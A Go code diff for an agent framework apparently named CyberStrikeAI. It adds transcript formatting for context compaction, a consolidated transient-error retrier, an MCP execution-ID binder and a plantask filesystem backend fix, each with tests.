+		schema.SystemMessage("以下是当前会话绑定的工具名称索引\n- nmap\n\n你是CyberStrikeAI\n" + project.FactIndexSectionStartMarker + "\n## 项目黑板索引（project: p1, id: x）\n（暂无事实）\n" + project.FactIndexSectionEndMarker + "\n# Skills System\nboiler"),
+		schema.UserMessage("hello"),
+		schema.AssistantMessage("reply", nil),
+	}
+	out := formatSummarizationTranscript(msgs)
+	if strings.Contains(out, "- nmap") {
+		t.Fatalf("tool list leaked into transcript: %q", out)
+	}
+	if !strings.Contains(out, "hello") || !strings.Contains(out, "reply") {
+		t.Fatalf("conversation turns missing: %q", out)
+	}
+	if !strings.Contains(out, "## 项目黑板索引（project: p1, id: x）") {
+		t.Fatalf("dynamic blackboard missing: %q", out)
+	}
+}
+
+func TestRefreshFactIndexInMessages(t *testing.T) {
+	t.Parallel()
+	dbPath := filepath.Join(t.TempDir(), "summarize-facts.db")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer db.Close()
+
+	proj, err := db.CreateProject(&database.Project{Name: "summarize-proj"})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	cfg := config.ProjectConfig{Enabled: true}
+	oldIndex, err := project.BuildFactIndexBlock(db, proj.ID, cfg)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	_, err = db.UpsertProjectFact(&database.ProjectFact{
+		ProjectID: proj.ID,
+		FactKey:   "target/host",
+		Category:  "target",
+		Summary:   "fresh host fact",
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	msgs := []adk.Message{
+		schema.SystemMessage("instruction\n\n" + oldIndex),
+		schema.UserMessage("hi"),
+	}
+
+	out := refreshFactIndexInMessages(msgs, db, proj.ID, cfg, nil)
+	sys := out[0].Content
+	if strings.Contains(sys, "（暂无事实）") {
+		t.Fatalf("expected refreshed index, got: %q", sys)
+	}
+	if !strings.Contains(sys, "fresh host fact") {
+		t.Fatalf("expected new fact in index: %q", sys)
+	}
+	if !strings.Contains(sys, "instruction") {
+		t.Fatalf("non-index system content should be preserved: %q", sys)
+	}
+}

internal/multiagent/eino_summarize_transcript.go

@@ -0,0 +1,163 @@
+package multiagent
+
+import (
+	"strings"
+
+	"github.com/cloudwego/eino/adk"
+	"github.com/cloudwego/eino/schema"
+
+	"cyberstrike-ai/internal/project"
+
+	"github.com/bytedance/sonic"
+)
+
+const (
+	transcriptFileHeader = `# CyberStrikeAI summarization transcript
+# Pre-compaction session record for read_file after context compression.
+# Omits static system/tool-index/skills boilerplate; full user/assistant/tool turns below.
+
+`
+	transcriptStaticSystemOmitNote = "[static system prompt omitted — unchanged in live context after compaction]"
+	transcriptToolIndexStartMarker   = "以下是当前会话绑定的工具名称索引"
+	transcriptPersonaStartMarker     = "你是CyberStrikeAI"
+	transcriptSkillsSystemMarker     = "# Skills System"
+)
+
+type transcriptToolCall struct {
+	Name      string `json:"name"`
+	Arguments string `json:"arguments"`
+}
+
+// formatSummarizationTranscript renders pre-compaction messages for transcript.txt.
+// Best practice: keep full user/assistant/tool turns; slim system to dynamic blocks only.
+func formatSummarizationTranscript(msgs []adk.Message) string {
+	var sb strings.Builder
+	sb.WriteString(transcriptFileHeader)
+	wrote := false
+	for _, msg := range msgs {
+		if msg == nil {
+			continue
+		}
+		switch msg.Role {
+		case schema.System:
+			body := sanitizeSystemContentForTranscript(msg.Content)
+			if strings.TrimSpace(body) == "" {
+				continue
+			}
+			if wrote {
+				sb.WriteString("\n")
+			}
+			appendTranscriptSection(&sb, schema.System, body)
+			wrote = true
+		default:
+			if wrote {
+				sb.WriteString("\n")
+			}
+			appendTranscriptMessage(&sb, msg)
+			wrote = true
+		}
+	}
+	return sb.String()
+}
+
+func sanitizeSystemContentForTranscript(content string) string {
+	content = stripToolNamesIndexFromSystem(content)
+	content = stripSkillsSystemBoilerplate(content)
+	blackboard := extractProjectBlackboardSection(content)
+
+	var sb strings.Builder
+	sb.WriteString(transcriptStaticSystemOmitNote)
+	if bb := strings.TrimSpace(blackboard); bb != "" {
+		sb.WriteString("\n\n")
+		sb.WriteString(bb)
+	}
+	return sb.String()
+}
+
+func stripToolNamesIndexFromSystem(s string) string {
+	if !strings.Contains(s, transcriptToolIndexStartMarker) {
+		return s
+	}
+	idx := strings.Index(s, transcriptPersonaStartMarker)
+	if idx < 0 {
+		return s
+	}
+	return strings.TrimSpace(s[idx:])
+}
+
+func stripSkillsSystemBoilerplate(s string) string {
+	idx := strings.Index(s, transcriptSkillsSystemMarker)
+	if idx < 0 {
+		return strings.TrimSpace(s)
+	}
+	return strings.TrimSpace(s[:idx])
+}
+
+func extractProjectBlackboardSection(s string) string {
+	start := strings.Index(s, project.FactIndexSectionStartMarker)
+	if start < 0 {
+		return ""
+	}
+	section := s[start:]
+	end := strings.Index(section, project.FactIndexSectionEndMarker)
+	if end < 0 {
+		return ""
+	}
+	section = section[:end+len(project.FactIndexSectionEndMarker)]
+	return strings.TrimSpace(section)
+}
+
+func appendTranscriptSection(sb *strings.Builder, role schema.RoleType, body string) {
+	sb.WriteString("--- [")
+	sb.WriteString(string(role))
+	sb.WriteString("] ---\n")
+	sb.WriteString(body)
+	if !strings.HasSuffix(body, "\n") {
+		sb.WriteByte('\n')
+	}
+}
+
+func appendTranscriptMessage(sb *strings.Builder, msg adk.Message) {
+	sb.WriteString("--- [")
+	sb.WriteString(string(msg.Role))
+	sb.WriteString("] ---\n")
+	if msg.Content != "" {
+		sb.WriteString(msg.Content)
+		if !strings.HasSuffix(msg.Content, "\n") {
+			sb.WriteByte('\n')
+		}
+	}
+	if msg.ReasoningContent != "" {
+		sb.WriteString("[reasoning]\n")
+		sb.WriteString(msg.ReasoningContent)
+		if !strings.HasSuffix(msg.ReasoningContent, "\n") {
+			sb.WriteByte('\n')
+		}
+	}
+	for _, part := range msg.UserInputMultiContent {
+		if part.Type == schema.ChatMessagePartTypeText && strings.TrimSpace(part.Text) != "" {
+			sb.WriteString(part.Text)
+			if !strings.HasSuffix(part.Text, "\n") {
+				sb.WriteByte('\n')
+			}
+		}
+	}
+	if len(msg.ToolCalls) > 0 {
+		if b, err := sonic.Marshal(formatTranscriptToolCalls(msg.ToolCalls)); err == nil {
+			sb.WriteString("tool_calls: ")
+			sb.Write(b)
+			sb.WriteByte('\n')
+		}
+	}
+}
+
+func formatTranscriptToolCalls(calls []schema.ToolCall) []transcriptToolCall {
+	out := make([]transcriptToolCall, 0, len(calls))
+	for _, tc := range calls {
+		out = append(out, transcriptToolCall{
+			Name:      tc.Function.Name,
+			Arguments: tc.Function.Arguments,
+		})
+	}
+	return out
+}

internal/multiagent/eino_transient_retry.go

@@ -3,6 +3,7 @@ package multiagent
 import (
 	"context"
 	"errors"
+	"fmt"
 	"strings"
 	"time"
 
@@ -17,8 +18,9 @@ const (
 	defaultEinoRunRetryMaxBackoff  = 30 * time.Second
 )
 
-// isEinoTransientRunError 判断 ADK 运行期错误是否适合指数退避续跑（429、5xx、网络抖动等）。
+// isEinoTransientRunError 是 Eino 运行期「可退避重试 vs 直接失败」的唯一判据。
-// 用户取消、超时、迭代上限等由 run loop 单独处理，不在此列。
+// 429/5xx/网络抖动等返回 true；用户取消、超时、迭代上限、鉴权失败等返回 false。
+// 其它模块（run loop、summarization 等）只调用本函数，不在别处维护平行规则。
 func isEinoTransientRunError(err error) bool {
 	if err == nil {
 		return false
@@ -60,6 +62,7 @@ func isEinoTransientRunError(err error) bool {
 		"dial tcp",
 		"tls handshake timeout",
 		"stream error",
+		"goaway", // http2: server sent GOAWAY and closed the connection
 		"unexpected eof",
 		`": eof`, // net/http: Post "url": EOF (often wraps io.EOF)
 		"unexpected end of json",
@@ -78,6 +81,71 @@ func isEinoTransientRunError(err error) bool {
 	return false
 }
 
+type einoTransientRunRetryPolicy struct {
+	maxAttempts int
+	maxBackoff  time.Duration
+}
+
+func einoTransientRunRetryPolicyFromArgs(args *einoADKRunLoopArgs) einoTransientRunRetryPolicy {
+	return einoTransientRunRetryPolicy{
+		maxAttempts: einoRunRetryMaxAttempts(args),
+		maxBackoff:  einoRunRetryMaxBackoff(args),
+	}
+}
+
+func einoTransientRunRetryPolicyFromMW(mw *config.MultiAgentEinoMiddlewareConfig) einoTransientRunRetryPolicy {
+	maxBackoff := defaultEinoRunRetryMaxBackoff
+	if mw != nil && mw.RunRetryMaxBackoffSec > 0 {
+		maxBackoff = time.Duration(mw.RunRetryMaxBackoffSec) * time.Second
+	}
+	return einoTransientRunRetryPolicy{
+		maxAttempts: RunRetryMaxAttemptsFromConfig(mw),
+		maxBackoff:  maxBackoff,
+	}
+}
+
+// einoTransientRunRetrier 在 run loop 内对临时错误做指数退避并重启 Runner（唯一重试执行层）。
+type einoTransientRunRetrier struct {
+	policy   einoTransientRunRetryPolicy
+	attempts int
+}
+
+func newEinoTransientRunRetrier(policy einoTransientRunRetryPolicy) *einoTransientRunRetrier {
+	return &einoTransientRunRetrier{policy: policy}
+}
+
+// tryRetry 对临时错误退避后返回重启消息；次数用尽返回 exhausted 错误。
+func (r *einoTransientRunRetrier) tryRetry(
+	ctx context.Context,
+	runErr error,
+	args *einoADKRunLoopArgs,
+	baseMsgs, accumulated []adk.Message,
+	baseCount int,
+) (restarted bool, restartMsgs []adk.Message, ctxSource einoRunRestartContextSource, backoff time.Duration, fatal error) {
+	if runErr == nil || !isEinoTransientRunError(runErr) {
+		return false, nil, "", 0, runErr
+	}
+	r.attempts++
+	if r.attempts > r.policy.maxAttempts {
+		return false, nil, "", 0, fmt.Errorf("transient retry exhausted after %d attempts: %w", r.policy.maxAttempts, runErr)
+	}
+	backoff = einoTransientRetryBackoff(r.attempts-1, r.policy.maxBackoff)
+	select {
+	case <-ctx.Done():
+		return false, nil, "", 0, ctx.Err()
+	case <-time.After(backoff):
+	}
+	restartMsgs, ctxSource = einoMessagesForRunRestart(args, baseMsgs, accumulated, baseCount)
+	return true, restartMsgs, ctxSource, backoff, nil
+}
+
+func (r *einoTransientRunRetrier) attempt() int { return r.attempts }
+
+func (r *einoTransientRunRetrier) maxAttempts() int { return r.policy.maxAttempts }
+
+// reset 在一次成功推进后清零重试计数，使后续临时错误从第 1 次退避重新开始。
+func (r *einoTransientRunRetrier) reset() { r.attempts = 0 }
+
 func einoRunRetryMaxAttempts(args *einoADKRunLoopArgs) int {
 	if args != nil && args.RunRetryMaxAttempts > 0 {
 		return args.RunRetryMaxAttempts
@@ -85,7 +153,7 @@ func einoRunRetryMaxAttempts(args *einoADKRunLoopArgs) int {
 	return defaultEinoRunRetryMaxAttempts
 }
 
-// RunRetryMaxAttemptsFromConfig 供 handler 分段续跑计数（与 eino_middleware.run_retry_max_attempts 一致）。
+// RunRetryMaxAttemptsFromConfig 与 eino_middleware.run_retry_max_attempts 一致。
 func RunRetryMaxAttemptsFromConfig(mw *config.MultiAgentEinoMiddlewareConfig) int {
 	if mw != nil && mw.RunRetryMaxAttempts > 0 {
 		return mw.RunRetryMaxAttempts
@@ -93,15 +161,6 @@ func RunRetryMaxAttemptsFromConfig(mw *config.MultiAgentEinoMiddlewareConfig) in
 	return defaultEinoRunRetryMaxAttempts
 }
 
-// TransientRetryBackoff 供 handler 在分段续跑前退避。
-func TransientRetryBackoff(attempt int, maxBackoffSec int) time.Duration {
-	max := defaultEinoRunRetryMaxBackoff
-	if maxBackoffSec > 0 {
-		max = time.Duration(maxBackoffSec) * time.Second
-	}
-	return einoTransientRetryBackoff(attempt, max)
-}
-
 func einoRunRetryMaxBackoff(args *einoADKRunLoopArgs) time.Duration {
 	if args != nil && args.RunRetryMaxBackoffSec > 0 {
 		return time.Duration(args.RunRetryMaxBackoffSec) * time.Second
@@ -122,10 +181,11 @@ const (
 // 1) ModelFacingTrace（与模型实际入参一致） 2) 事件流累积的 runAccumulatedMsgs 3) 初始 msgs。
 func einoMessagesForRunRestart(args *einoADKRunLoopArgs, baseMsgs, accumulated []adk.Message, baseCount int) ([]adk.Message, einoRunRestartContextSource) {
 	if trace := persistTraceSource(args, nil); len(trace) > 0 {
-		return append([]adk.Message(nil), trace...), einoRestartContextModelTrace
+		// modelFacingTrace includes prior Instruction system message(s); genModelInput will prepend again.
+		return stripADKSystemMessages(trace), einoRestartContextModelTrace
 	}
 	if len(accumulated) > baseCount {
-		return append([]adk.Message(nil), accumulated...), einoRestartContextAccumulated
+		return stripADKSystemMessages(accumulated), einoRestartContextAccumulated
 	}
 	return append([]adk.Message(nil), baseMsgs...), einoRestartContextInitial
 }

internal/multiagent/eino_transient_retry_test.go

@@ -27,6 +27,7 @@ func TestIsEinoTransientRunError(t *testing.T) {
 		{"429", errors.New("HTTP 429 Too Many Requests"), true},
 		{"rate limit", errors.New(`{"error":"rate limit exceeded"}`), true},
 		{"connection reset", errors.New("read tcp: connection reset by peer"), true},
+		{"http2 goaway", errors.New("failed to receive stream chunk: error, http2: server sent GOAWAY and closed the connection; LastStreamID=791, ErrCode=NO_ERROR"), true},
 		{"unexpected eof", errors.New("unexpected EOF"), true},
 		{"503", errors.New("upstream returned 503"), true},
 		{"iteration limit", errors.New("max iteration reached"), false},
@@ -90,6 +91,20 @@ func TestEinoRunRetryMaxAttemptsFromArgs(t *testing.T) {
 	}
 }
 
+func TestEinoTransientRunRetrierReset(t *testing.T) {
+	t.Parallel()
+	r := newEinoTransientRunRetrier(einoTransientRunRetryPolicy{maxAttempts: 10, maxBackoff: 30 * time.Second})
+	r.attempts = 3
+	r.reset()
+	if r.attempt() != 0 {
+		t.Fatalf("after reset: attempt=%d, want 0", r.attempt())
+	}
+	// 重置后下一次退避应从 2s 起算（attempt index 0）。
+	if got := einoTransientRetryBackoff(r.attempt(), r.policy.maxBackoff); got != 2*time.Second {
+		t.Fatalf("backoff after reset: got %v, want 2s", got)
+	}
+}
+
 func TestAppendUserMessageIfNeeded(t *testing.T) {
 	t.Parallel()
 	msgs := []adk.Message{schema.UserMessage("old task")}
@@ -102,10 +117,3 @@ func TestAppendUserMessageIfNeeded(t *testing.T) {
 		t.Fatalf("should not duplicate user message: len=%d", len(dup))
 	}
 }
-
-func TestErrTransientRetryContinue(t *testing.T) {
-	t.Parallel()
-	if !errors.Is(ErrTransientRetryContinue, ErrTransientRetryContinue) {
-		t.Fatal("sentinel should match")
-	}
-}

internal/multiagent/interrupt.go

@@ -5,7 +5,3 @@ import "errors"
 // ErrInterruptContinue 作为 context.CancelCause 使用：用户选择「中断并继续」且当前无进行中的 MCP 工具时，
 // 取消当前推理/流式输出，并在同一会话任务内携带用户补充说明自动续跑下一轮（类似 Hermes 式人机回合）。
 var ErrInterruptContinue = errors.New("agent interrupt: continue with user-supplied context")
-
-// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束，应由 handler 落库轨迹后
-// loadHistoryFromAgentTrace 再开下一轮 Run（与 ErrInterruptContinue 同级的「分段续跑」语义）。
-var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")

internal/multiagent/mcp_execution_binder.go

@@ -0,0 +1,31 @@
+package multiagent
+
+import "strings"
+
+// MCPExecutionBinder maps ADK toolCallID → MCP monitor execution ID for a single agent run.
+type MCPExecutionBinder struct {
+	byToolCall map[string]string
+}
+
+func NewMCPExecutionBinder() *MCPExecutionBinder {
+	return &MCPExecutionBinder{byToolCall: make(map[string]string)}
+}
+
+func (b *MCPExecutionBinder) Bind(toolCallID, executionID string) {
+	if b == nil {
+		return
+	}
+	tid := strings.TrimSpace(toolCallID)
+	eid := strings.TrimSpace(executionID)
+	if tid == "" || eid == "" {
+		return
+	}
+	b.byToolCall[tid] = eid
+}
+
+func (b *MCPExecutionBinder) ExecutionID(toolCallID string) string {
+	if b == nil {
+		return ""
+	}
+	return b.byToolCall[strings.TrimSpace(toolCallID)]
+}

internal/multiagent/mcp_execution_binder_test.go

@@ -0,0 +1,14 @@
+package multiagent
+
+import "testing"
+
+func TestMCPExecutionBinder(t *testing.T) {
+	b := NewMCPExecutionBinder()
+	b.Bind("call-1", "exec-1")
+	if got := b.ExecutionID("call-1"); got != "exec-1" {
+		t.Fatalf("expected exec-1, got %q", got)
+	}
+	if got := b.ExecutionID("missing"); got != "" {
+		t.Fatalf("expected empty, got %q", got)
+	}
+}

internal/multiagent/orphan_tool_pruner_middleware.go

@@ -27,7 +27,7 @@ import (
 //     本中间件与之互补，专职兜底正向孤儿。
 //   - 仅剔除消息，不向历史里注入虚构 assistant(tc)：虚构 tool_calls 反而会误导模型后续推理。
 //     摘要已覆盖被裁剪段的语义，丢一条原始 tool 结果对对话连贯性影响最小。
-//   - 位置建议：挂在所有可能改写历史的中间件（summarization / reduction / skill / plantask /
+//   - 位置建议：挂在 summarization / reduction / skill / plantask / system 合并 / 续聊 dedup 之后，
 //     tool_search）之后，靠近 ChatModel 调用的那一端。
 type orphanToolPrunerMiddleware struct {
 	adk.BaseChatModelAgentMiddleware

internal/multiagent/plantask_local_backend.go

@@ -0,0 +1,71 @@
+package multiagent
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	localbk "github.com/cloudwego/eino-ext/adk/backend/local"
+	"github.com/cloudwego/eino/adk/middlewares/plantask"
+)
+
+// localPlantaskBackend adapts eino-ext local filesystem backend for Eino plantask.
+//
+// plantask TaskCreate/TaskList list a directory via LsInfo, then Read using each entry's Path.
+// local.LsInfo returns basenames only (e.g. ".highwatermark"), while local.Read expects a
+// resolvable path — causing "file not found: .highwatermark" on the second TaskCreate.
+type localPlantaskBackend struct {
+	*localbk.Local
+}
+
+func newLocalPlantaskBackend(loc *localbk.Local) *localPlantaskBackend {
+	if loc == nil {
+		return nil
+	}
+	return &localPlantaskBackend{Local: loc}
+}
+
+// LsInfo lists files under req.Path and returns absolute paths suitable for subsequent Read calls.
+func (l *localPlantaskBackend) LsInfo(ctx context.Context, req *plantask.LsInfoRequest) ([]plantask.FileInfo, error) {
+	if l == nil || l.Local == nil {
+		return nil, fmt.Errorf("plantask backend: local nil")
+	}
+	if req == nil || strings.TrimSpace(req.Path) == "" {
+		return nil, fmt.Errorf("plantask backend: list path empty")
+	}
+	files, err := l.Local.LsInfo(ctx, req)
+	if err != nil {
+		return nil, err
+	}
+	if len(files) == 0 {
+		return files, nil
+	}
+	base := filepath.Clean(req.Path)
+	out := make([]plantask.FileInfo, len(files))
+	for i, f := range files {
+		out[i] = f
+		name := strings.TrimSpace(f.Path)
+		if name == "" {
+			continue
+		}
+		if filepath.IsAbs(name) {
+			out[i].Path = filepath.Clean(name)
+			continue
+		}
+		out[i].Path = filepath.Join(base, name)
+	}
+	return out, nil
+}
+
+func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
+	if l == nil || l.Local == nil || req == nil {
+		return nil
+	}
+	p := strings.TrimSpace(req.FilePath)
+	if p == "" {
+		return nil
+	}
+	return os.Remove(p)
+}

internal/multiagent/plantask_local_backend_test.go

@@ -0,0 +1,83 @@
+package multiagent
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"testing"
+
+	localbk "github.com/cloudwego/eino-ext/adk/backend/local"
+	"github.com/cloudwego/eino/adk/filesystem"
+	"github.com/cloudwego/eino/adk/middlewares/plantask"
+)
+
+func TestLocalPlantaskBackendLsInfoReturnsFullPaths(t *testing.T) {
+	t.Parallel()
+	ctx := context.Background()
+	baseDir := t.TempDir()
+
+	loc, err := localbk.NewBackend(ctx, &localbk.Config{})
+	if err != nil {
+		t.Fatalf("NewBackend: %v", err)
+	}
+	be := newLocalPlantaskBackend(loc)
+
+	hwPath := filepath.Join(baseDir, ".highwatermark")
+	if err := os.WriteFile(hwPath, []byte("1"), 0o600); err != nil {
+		t.Fatalf("write highwatermark: %v", err)
+	}
+
+	files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
+	if err != nil {
+		t.Fatalf("LsInfo: %v", err)
+	}
+	if len(files) != 1 {
+		t.Fatalf("expected 1 file, got %d", len(files))
+	}
+	if files[0].Path != hwPath {
+		t.Fatalf("expected full path %q, got %q", hwPath, files[0].Path)
+	}
+
+	content, err := be.Read(ctx, &plantask.ReadRequest{FilePath: files[0].Path})
+	if err != nil {
+		t.Fatalf("Read via LsInfo path: %v", err)
+	}
+	if content.Content != "1" {
+		t.Fatalf("unexpected content: %q", content.Content)
+	}
+}
+
+func TestLocalPlantaskBackendSecondTaskCreateScenario(t *testing.T) {
+	t.Parallel()
+	ctx := context.Background()
+	baseDir := t.TempDir()
+
+	loc, err := localbk.NewBackend(ctx, &localbk.Config{})
+	if err != nil {
+		t.Fatalf("NewBackend: %v", err)
+	}
+	be := newLocalPlantaskBackend(loc)
+
+	hwPath := filepath.Join(baseDir, ".highwatermark")
+	if err := loc.Write(ctx, &filesystem.WriteRequest{FilePath: hwPath, Content: "1"}); err != nil {
+		t.Fatalf("seed highwatermark: %v", err)
+	}
+
+	files, err := be.LsInfo(ctx, &plantask.LsInfoRequest{Path: baseDir})
+	if err != nil {
+		t.Fatalf("LsInfo: %v", err)
+	}
+	var hwFile string
+	for _, f := range files {
+		if filepath.Base(f.Path) == ".highwatermark" {
+			hwFile = f.Path
+			break
+		}
+	}
+	if hwFile == "" {
+		t.Fatal("highwatermark not listed")
+	}
+	if _, err := be.Read(ctx, &plantask.ReadRequest{FilePath: hwFile}); err != nil {
+		t.Fatalf("Read highwatermark (second TaskCreate path): %v", err)
+	}
+}

internal/multiagent/runner.go

@@ -15,6 +15,7 @@ import (
 	"cyberstrike-ai/internal/agent"
 	"cyberstrike-ai/internal/agents"
 	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
 	"cyberstrike-ai/internal/einomcp"
 	"cyberstrike-ai/internal/openai"
 	"cyberstrike-ai/internal/project"
@@ -56,8 +57,10 @@ func RunDeepAgent(
 	appCfg *config.Config,
 	ma *config.MultiAgentConfig,
 	ag *agent.Agent,
+	db *database.DB,
 	logger *zap.Logger,
 	conversationID string,
+	projectID string,
 	userMessage string,
 	history []agent.ChatMessage,
 	roleTools []string,
@@ -107,10 +110,12 @@ func RunDeepAgent(
 
 	var mcpIDsMu sync.Mutex
 	var mcpIDs []string
-	recorder := func(id string) {
+	mcpExecBinder := NewMCPExecutionBinder()
+	recorder := func(id, toolCallID string) {
 		if id == "" {
 			return
 		}
+		mcpExecBinder.Bind(toolCallID, id)
 		mcpIDsMu.Lock()
 		mcpIDs = append(mcpIDs, id)
 		mcpIDsMu.Unlock()
@@ -128,21 +133,6 @@ func RunDeepAgent(
 
 	toolInvokeNotify := einomcp.NewToolInvokeNotifyHolder()
 	mainDefs := ag.ToolsForRole(roleTools)
-	toolOutputChunk := func(toolName, toolCallID, chunk string) {
-		// When toolCallId is missing, frontend ignores tool_result_delta.
-		if progress == nil || toolCallID == "" {
-			return
-		}
-		progress("tool_result_delta", chunk, map[string]interface{}{
-			"toolName":   toolName,
-			"toolCallId": toolCallID,
-			// index/total/iteration are optional for UI; we don't know them in this bridge.
-			"index":     0,
-			"total":     0,
-			"iteration": 0,
-			"source":    "eino",
-		})
-	}
 
 	httpClient := &http.Client{
 		Timeout: 30 * time.Minute,
@@ -210,19 +200,19 @@ func RunDeepAgent(
 			}
 
 			subDefs := ag.ToolsForRole(roleTools)
-			subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, toolOutputChunk, toolInvokeNotify, id)
+			subTools, err := einomcp.ToolsFromDefinitions(ag, holder, subDefs, recorder, nil, toolInvokeNotify, id)
 			if err != nil {
 				return nil, fmt.Errorf("子代理 %q 工具: %w", id, err)
 			}
 
-			subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, logger)
+			subToolsForCfg, subPre, subToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWSub, subTools, einoLoc, skillsRoot, conversationID, projectID, logger)
 			if err != nil {
 				return nil, fmt.Errorf("子代理 %q eino 中间件: %w", id, err)
 			}
 
 			subMax := resolveMaxIterations(appCfg, sub.MaxIterations)
 
-			subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
+			subSumMw, err := newEinoSummarizationMiddleware(ctx, subModel, appCfg, &ma.EinoMiddleware, conversationID, db, projectID, logger)
 			if err != nil {
 				return nil, fmt.Errorf("子代理 %q summarization 中间件: %w", id, err)
 			}
@@ -233,7 +223,7 @@ func RunDeepAgent(
 			}
 			if einoSkillMW != nil {
 				if einoFSTools && einoLoc != nil {
-					subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), toolOutputChunk)
+					subFs, fsErr := subAgentFilesystemMiddleware(ctx, einoLoc, toolInvokeNotify, id, einoExecMonitor, agentToolTimeoutMinutes(appCfg), nil)
 					if fsErr != nil {
 						return nil, fmt.Errorf("子代理 %q filesystem 中间件: %w", id, fsErr)
 					}
@@ -241,13 +231,13 @@ func RunDeepAgent(
 				}
 				subHandlers = append(subHandlers, einoSkillMW)
 			}
-			subHandlers = append(subHandlers, subSumMw)
+			subHandlers = appendEinoChatModelTailMiddlewares(subHandlers, einoChatModelTailConfig{
-			// 孤儿 tool 消息兜底：放在 summarization 之后，telemetry 之前，
+				logger:         logger,
-			// 以便 telemetry 记录的 token 数与 LLM 实际入参一致。
+				phase:          "sub_agent:" + id,
-			subHandlers = append(subHandlers, newOrphanToolPrunerMiddleware(logger, "sub_agent:"+id))
+				summarization:  subSumMw,
-			if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "sub_agent"); teleMw != nil {
+				modelName:      appCfg.OpenAI.Model,
-				subHandlers = append(subHandlers, teleMw)
+				conversationID: conversationID,
-			}
+			})
 
 			subInstrFinal := project.AppendVisionImageAnalysisIfReady(instr, appCfg.Vision.Ready())
 			subInstrFinal = injectToolNamesOnlyInstruction(ctx, subInstrFinal, subTools, subToolSearchActive)
@@ -293,7 +283,7 @@ func RunDeepAgent(
 		return nil, fmt.Errorf("多代理主模型: %w", err)
 	}
 
-	mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, logger)
+	mainSumMw, err := newEinoSummarizationMiddleware(ctx, mainModel, appCfg, &ma.EinoMiddleware, conversationID, db, projectID, logger)
 	if err != nil {
 		return nil, fmt.Errorf("多代理主 summarization 中间件: %w", err)
 	}
@@ -320,11 +310,11 @@ func RunDeepAgent(
 		}
 	}
 
-	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, toolOutputChunk, toolInvokeNotify, orchestratorName)
+	mainTools, err := einomcp.ToolsFromDefinitions(ag, holder, mainDefs, recorder, nil, toolInvokeNotify, orchestratorName)
 	if err != nil {
 		return nil, err
 	}
-	mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, logger)
+	mainToolsForCfg, mainOrchestratorPre, mainToolSearchActive, err := prependEinoMiddlewares(ctx, &ma.EinoMiddleware, einoMWMain, mainTools, einoLoc, skillsRoot, conversationID, projectID, logger)
 	if err != nil {
 		return nil, err
 	}
@@ -371,7 +361,7 @@ func RunDeepAgent(
 			inner:              einoLoc,
 			invokeNotify:       toolInvokeNotify,
 			einoAgentName:      orchestratorName,
-			outputChunk:        toolOutputChunk,
+			outputChunk:        nil,
 			recordMonitor:      einoExecMonitor,
 			toolTimeoutMinutes: agentToolTimeoutMinutes(appCfg),
 		}
@@ -389,14 +379,14 @@ func RunDeepAgent(
 	if einoSkillMW != nil {
 		deepHandlers = append(deepHandlers, einoSkillMW)
 	}
-	deepHandlers = append(deepHandlers, mainSumMw)
+	deepHandlers = appendEinoChatModelTailMiddlewares(deepHandlers, einoChatModelTailConfig{
-	deepHandlers = append(deepHandlers, newOrphanToolPrunerMiddleware(logger, "deep_orchestrator"))
+		logger:         logger,
-	if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "deep_orchestrator"); teleMw != nil {
+		phase:          "deep_orchestrator",
-		deepHandlers = append(deepHandlers, teleMw)
+		summarization:  mainSumMw,
-	}
+		modelName:      appCfg.OpenAI.Model,
-	if capMw := newModelFacingTraceMiddleware(modelFacingTrace); capMw != nil {
+		conversationID: conversationID,
-		deepHandlers = append(deepHandlers, capMw)
+		trace:          modelFacingTrace,
-	}
+	})
 
 	supHandlers := []adk.ChatModelAgentMiddleware{}
 	if len(mainOrchestratorPre) > 0 {
@@ -405,14 +395,14 @@ func RunDeepAgent(
 	if einoSkillMW != nil {
 		supHandlers = append(supHandlers, einoSkillMW)
 	}
-	supHandlers = append(supHandlers, mainSumMw)
+	supHandlers = appendEinoChatModelTailMiddlewares(supHandlers, einoChatModelTailConfig{
-	supHandlers = append(supHandlers, newOrphanToolPrunerMiddleware(logger, "supervisor_orchestrator"))
+		logger:         logger,
-	if teleMw := newEinoModelInputTelemetryMiddleware(logger, appCfg.OpenAI.Model, conversationID, "supervisor_orchestrator"); teleMw != nil {
+		phase:          "supervisor_orchestrator",
-		supHandlers = append(supHandlers, teleMw)
+		summarization:  mainSumMw,
-	}
+		modelName:      appCfg.OpenAI.Model,
-	if capMw := newModelFacingTraceMiddleware(modelFacingTrace); capMw != nil {
+		conversationID: conversationID,
-		supHandlers = append(supHandlers, capMw)
+		trace:          modelFacingTrace,
-	}
+	})
 
 	mainToolsCfg := adk.ToolsConfig{
 		ToolsNodeConfig: compose.ToolsNodeConfig{
@@ -426,7 +416,7 @@ func RunDeepAgent(
 		EmitInternalEvents: true,
 	}
 
